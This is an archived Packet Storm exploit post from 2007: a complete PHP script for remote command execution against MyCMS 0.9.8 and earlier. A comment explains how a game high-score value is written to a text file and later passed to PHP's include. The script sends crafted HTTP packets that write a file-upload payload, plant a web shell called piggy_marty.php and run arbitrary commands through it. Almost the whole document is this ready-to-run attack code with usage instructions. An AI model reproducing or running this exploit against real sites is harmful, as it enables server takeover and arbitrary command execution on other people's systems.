mycms-exec.txt

2007-07-07T00:00:00
ID PACKETSTORM:57489
Type packetstorm
Reporter BlackHawk
Modified 2007-07-07T00:00:00

Description

                                        
                                            `#!/usr/bin/php -q -d short_open_tag=on  
<?  
echo "  
MyCMS <= 0.9.8 Remote Command Execution Exploit (2 method)  
by BlackHawk <hawkgotyou@gmail.com> <http://itablackhawk.altervista.org>  
Thanks to rgod for the php code and Marty for the Love  
  
";  
if ($argc<3) {  
echo "Usage: php ".$argv[0]." Host Path CMD  
Host: target server (ip/hostname)  
Path: path of myblog  
  
Example:  
php ".$argv[0]." localhost /myblog/ dir";  
  
die;  
}  
/*  
VULN:  
  
The problem is located in all files that manages hight-scores of the game, such  
as snakep.php or tetrisp.php  
  
Code:  
  
<?php  
  
if (empty($_COOKIE['login'])) {  
echo "No Score was set because you are not logged in!";  
exit;  
}  
  
else {  
$data = file_get_contents("snake_score.txt");  
  
$score = $_POST['score'];  
$by = $_COOKIE['login'];  
  
if ($score < $data) {  
echo "<br />No new score set<br />";  
}  
  
elseif ($score > $data) {  
$file1 = "snake_score.txt";  
$file2 = "snake_setby.txt";  
$file1h = fopen($file1, 'w') or die("can't open file");  
$file2h = fopen($file2, 'w') or die("can't open file");  
fwrite($file1h, $score);  
fclose($file1h);  
  
fwrite($file2h, $by);  
fclose($file2h);  
echo "<br />A new Top Score has been Set!!!!<br />";  
}  
  
ok, we can put our code into a txt file, but then?  
look at this (games.php):  
  
if (isset($_GET['scoreid'])) {  
echo "Top Score for this game: ";  
include($_GET['scoreid'] . "_score.txt");  
echo ", Set By:";  
include($_GET['scoreid'] . "_setby.txt");  
}  
  
setting properly our scoreid var we can perform an include..  
This exploit create a piggy_marty.php shell on the victim site  
  
  
PS: into games.php you can also find this:  
  
if ($_GET['id'] == snake) {  
include("snake.html");  
}  
else {  
include($_GET['id'] . ".php");  
}  
  
but it might be usefull only if mq=off..  
  
have a nice summer..  
*/  
  
error_reporting(0);  
ini_set("max_execution_time",0);  
ini_set("default_socket_timeout",5);  
  
function quick_dump($string)  
{  
$result='';$exa='';$cont=0;  
for ($i=0; $i<=strlen($string)-1; $i++)  
{  
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))  
{$result.=" .";}  
else  
{$result.=" ".$string[$i];}  
if (strlen(dechex(ord($string[$i])))==2)  
{$exa.=" ".dechex(ord($string[$i]));}  
else  
{$exa.=" 0".dechex(ord($string[$i]));}  
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}  
}  
return $exa."\r\n".$result;  
}  
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';  
function sendpacketii($packet)  
{  
global $proxy, $host, $port, $html, $proxy_regex;  
if ($proxy=='') {  
$ock=fsockopen(gethostbyname($host),$port);  
if (!$ock) {  
echo 'No response from '.$host.':'.$port; die;  
}  
}  
else {  
$c = preg_match($proxy_regex,$proxy);  
if (!$c) {  
echo 'Not a valid proxy...';die;  
}  
$parts=explode(':',$proxy);  
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";  
$ock=fsockopen($parts[0],$parts[1]);  
if (!$ock) {  
echo 'No response from proxy...';die;  
}  
}  
fputs($ock,$packet);  
if ($proxy=='') {  
$html='';  
while (!feof($ock)) {  
$html.=fgets($ock);  
}  
}  
else {  
$html='';  
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {  
$html.=fread($ock,1);  
}  
}  
fclose($ock);  
}  
  
$host=$argv[1];  
$path=$argv[2];  
$cmd="";  
for ($i=3; $i<=$argc-1; $i++){  
$cmd.=" ".$argv[$i];  
}  
$cmd=urlencode($cmd);  
  
  
$port=80;  
$proxy="";  
  
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}  
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}  
  
echo "Step0 - See If piggy_marty.php already exists..\r\n";  
$packet="GET ".$p."piggy_marty.php?cmd=$cmd HTTP/1.0\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Cookie: cmd=$cmd\r\n";  
$packet.="Connection: Close\r\n\r\n";  
sendpacketii($packet);  
if (strstr($html,"666999"))  
{  
echo "Exploit succeeded...\r\n";  
$temp=explode("666999",$html);  
die("\r\n".$temp[1]."\r\n");  
}  
  
echo "Step1 - Sending 'score'..\r\n";  
$shell_c='<?php  
$fp=fopen($_GET[name],$_GET[type]);  
fputs($fp,stripslashes($_POST[shell]));  
fclose($fp);  
chmod($_GET[name],777);  
?>';  
$data="score=$shell_c";  
$packet="POST ".$p."snakep.php HTTP/1.0\r\n";  
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, * /*\r\n";  
$packet.="Accept-Language: it\r\n";  
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";  
$packet.="Accept-Encoding: gzip, deflate\r\n";  
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Cookie: login=BlackHawk\r\n";  
$packet.="Content-Length: ".strlen($data)."\r\n";  
$packet.="Connection: Close\r\n";  
$packet.="Cache-Control: no-cache\r\n\r\n";  
$packet.=$data;  
sendpacketii($packet);  
  
echo "Step2 - Making the shell..\r\n";  
// You can edit this with your favourite shell  
$shell='<?php error_reporting(0);  
set_time_limit(0);  
if (get_magic_quotes_gpc()) {  
$_GET[cmd]=stripslashes($_GET[cmd]);  
}  
echo 666999;  
passthru($_GET[cmd]);  
echo 666999;  
?>';  
  
$data="shell=$shell";  
$packet="POST ".$p."games.php?id=snake&scoreid=snake&name=piggy_marty.php&type=w HTTP/1.0\r\n";  
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, * /*\r\n";  
$packet.="Accept-Language: it\r\n";  
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";  
$packet.="Accept-Encoding: gzip, deflate\r\n";  
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Cookie: login=BlackHawk\r\n";  
$packet.="Content-Length: ".strlen($data)."\r\n";  
$packet.="Connection: Close\r\n";  
$packet.="Cache-Control: no-cache\r\n\r\n";  
$packet.=$data;  
sendpacketii($packet);  
sleep(3);  
  
echo "Step3 - Executing Shell..\r\n";  
$packet="GET ".$p."piggy_marty.php?cmd=$cmd HTTP/1.0\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Cookie: cmd=$cmd\r\n";  
$packet.="Connection: Close\r\n\r\n";  
sendpacketii($packet);  
if (strstr($html,"666999"))  
{  
echo "Exploit succeeded...\r\n";  
$temp=explode("666999",$html);  
die("\r\n".$temp[1]."\r\n");  
}  
  
# Coded With BH Fast Generator v0.1  
?>  
`